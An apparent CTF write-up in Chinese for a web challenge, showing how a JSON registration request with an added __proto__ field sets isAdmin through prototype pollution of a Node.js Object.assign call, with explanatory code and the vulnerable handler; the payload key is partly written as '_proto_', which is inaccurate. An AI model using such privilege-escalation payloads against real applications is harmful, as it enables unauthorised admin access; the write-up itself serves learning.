wife-wife【原型链污染】[难度:4]

题目界面

  • 登录界面

  • 注册界面

  • 思路:在注册界面,利用原型链污染漏洞,获得管理员权限。

步骤

  • 在注册界面输入用户名-密码-邀请码,勾选admin选项,抓包

    POST /register HTTP/1.1
    Host: 61.147.171.105:63129
    Content-Length: 69
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
    Content-Type: text/plain;charset=UTF-8
    Accept: */*
    Origin: http://61.147.171.105:63129
    Referer: http://61.147.171.105:63129/register.html
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close **{"username":"123","password":"123","isAdmin":true,"inviteCode":"123"}**
  • 将post中的数据加入"proto"字段,放包,显示用户注册成功。

    {"username":"123","password":"123",**"_proto_":{"isAdmin":true}**,"inviteCode":"123"}
  • 注册成功后跳转到登录界面,在此界面输入刚才注册的账号,拿到flag。

知识点

原型链污染

  • 概念

    • 原型链污染是一种 JavaScript 中的安全漏洞,它涉及到修改对象的原型链,从而影响到所有基于该原型链创建的对象。这种漏洞可能导致意外的行为和安全风险。
    • 在js语言中,每一个实例对象都有一个私有属性(proto)指向它的构造函数的原型对象(prototype)。而该原型对象又有一个自己的原型对象,直到根部object对象,它是几乎所有javascript对象的祖宗,所以它是没有原型的。
    • 一个对象的_proto_属性指向所在类的prototype属性
  • 实例

    js中,定义一个类需以构造函数的方式来定义。

    var ad = function(){
    this.a = 1;
    this.b = 2;
    }
    var we = new ad(); //从一个函数里创建一个对象we
    ad.prototype.b = 3;
    ad.prototype.c = 4;//在ad函数的原型对象中定义属性
    console.log(we.a);//we对象中有a属性,为一。 console.log(we.b);//we对象也有b属性,为2.
    //原型中也有b属性,但是不会被访问到。也想当于重写。
    console.log(we.c);**//we对象没有c属性,所以在原型中找,为4**
    console.log(we.d);//d不是we对象的属性,继续看,d也不是
    //we.[[Prototype]]中的属性,继续,d也不是we.[[Prototype]].[[Prototype]]
    //中的属性,到此结束,返回undefined
  • 漏洞利用

    改变原型对象的属性,使得继承该原型对象的实例对象在本身不拥有某属性的情况下拥有某属性。

    ob1 = {"a":123,"b":456};//创建一个对象ob1
    ob1.__proto__.ab = "123456";//添加原型属性ab并赋值123456
    console.log(ob1.ab);// 打印123456
    ob2 = {"a":1234,"b":5678};//创建一个对象ob2
    console.log(ob2.ab);// 打印123456

    本题中的关键代码如下所示:

    app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
    return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
    return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
    user.isAdmin = false
    return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
    })

    Object.assign触发了原型链污染,使得实例对象的原型对象中isAdmin属性置为true。

参考链接:https://blog.csdn.net/m0_62422842/article/details/125154265

wife-wife【原型链污染】的更多相关文章

  1. redpwnctf-web-blueprint-javascript 原型链污染学习总结

    前几天看了redpwn的一道web题,node.js的web,涉及知识点是javascript 原型链污染,以前没咋接触过js,并且这个洞貌似也比较新,因此记录一下学习过程 1.本机node.js环境 ...

  2. 原型链污染(Node.js污染,javasrcipt原型链污染的)

    学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS  https://xz.aliyun.com/t/7184 相关题是 GYCTF  ez_expr ...

  3. javascript 原型链污染

    原理①javascript中构造函数就相当于类,并且可以将其实例化 ②javascript的每一个函数都有一个prototype属性,用来指向该构造函数的原型同样的javascript的每一个实例对象 ...

  4. 初探JavaScript原型链污染

    18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出w ...

  5. 【web安全】Nodejs原型链污染分析

    Nodejs原型链污染分析 什么是js原型? 可以将js原型理解为其他OOP语言中的类,但还是有细微区别. 1. function F(){...} 2. var f = new F(); 分析: 1 ...

  6. js原型链污染详解

    前言 之前打某湖论剑,两道js的题,给我整懵逼了,发现以前都没对js做过多少研究,趁着被毒打了,先研究一波js原型链,未雨绸缪. 基础 protype 首先我们研究js原型链,得搞明白原型是什么,这里 ...

  7. JavaScript原型链及其污染

    JavaScript原型链及其污染 一.什么是原型链? 1.JavaScript中,我们如果要define一个类,需要以define"构造函数"的方式来define: functi ...

  8. Nodejs-原型链污染

    原型链污染 javascript 原型链 在javascript中,继承的整个过程就称为该类的原型链. 每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,一 ...

  9. jacascript 构造函数、原型对象和原型链

    前言:这是笔者学习之后自己的理解与整理.如果有错误或者疑问的地方,请大家指正,我会持续更新! 先梳理一下定义: 我们通常认为 object 是普通对象,function 是函数对象: Function ...

  10. 对Javascript 类、原型链、继承的理解

    一.序言   和其他面向对象的语言(如Java)不同,Javascript语言对类的实现和继承的实现没有标准的定义,而是将这些交给了程序员,让程序员更加灵活地(当然刚开始也更加头疼)去定义类,实现继承 ...

随机推荐

  1. 你知道Golang的模板怎么用吗?带你了解动态文本的生成!

    Golang Template Go语言中的Go Template是一种用于生成文本输出的简单而强大的模板引擎.它提供了一种灵活的方式来生成各种格式的文本,例如HTML.XML.JSON等. Go T ...

  2. 解读Redis常见命令

    Redis数据结构介绍 Redis是一个key-value的数据库,key一般是String类型,不过value的类型多种多样: 贴心小建议:命令不要死记,学会查询就好啦 Redis为了方便我们学习, ...

  3. 一文弄懂TypeScript中的混合

    1.前言 由于TypeScrip中的类不支持多继承,所以引入了混合(Mixin)的特性,可以间接实现继承的效果. 2.正文 // 声明一个汽车类Vehicle,它有drive方法 class Vehi ...

  4. Solution -「洛谷 P6287」「COCI 2016-2017」Mag

    Description Link. 定义一条链的价值为链上点权乘积除以节链上点数,求一条价值最小的链. Solution 结论:答案链上最多包含一个 \(2\)(其余全为 \(1\)),并且不在链的两 ...

  5. elmentui表单重置初始值问题与解决方法

    背景 在做管理台项目时,我们会经常使用到表单+表格+弹窗表单的组合,以完成对数据的增.删.查.改. 在vue2+elementui项目中,使用弹窗dialog+表单form,实现对数据的添加和修改. ...

  6. 不能显式拦截ajax请求的302响应?

    记录工作中早该加深印象的一个小case: ajax请求不能显式拦截 302响应. 我们先来看一个常规的登录case: 浏览器请求资源,服务器发现该请求未携带相关凭据(cookie或者token) 服务 ...

  7. 这些负载均衡都解决哪些问题?服务、网关、NGINX

    这篇文章解答一下群友的一系列提问: 在微服务项目中,有服务的负载均衡.网关的负载均衡.Nginx的负载均衡,这几个负载均衡分别用来解决什么问题呢? 在微服务项目中,服务的负载均衡.网关的负载均衡和Ng ...

  8. 客制开发tiptop程序随记-pta表结构问题-误删表的恢复

    添加字段的语法:alter table tablename add (column datatype [default value][null/not null],-.); 删除字段的语法:alter ...

  9. JS中的caller属性

    JS中的caller属性: 这个属性会返回一个调用该函数对象的外层函数引用.也就是说,如果我们是在函数B()中调用函数A()的,那么只要在A()中调用A.caller,结果就会返回B()functio ...

  10. MAC Big Sur系统升级导致三星移动硬盘T7无法识别解决方案

    一.问题 MAC系统升级后总是导致三星移动硬盘(加密)无法被识别,影响正常使用.问售后让去官网下载最新驱动,第一次升级有用,在升级就没用了. 升级系统版本MAC 15.5.1重新安装官网驱动仍然无法识 ...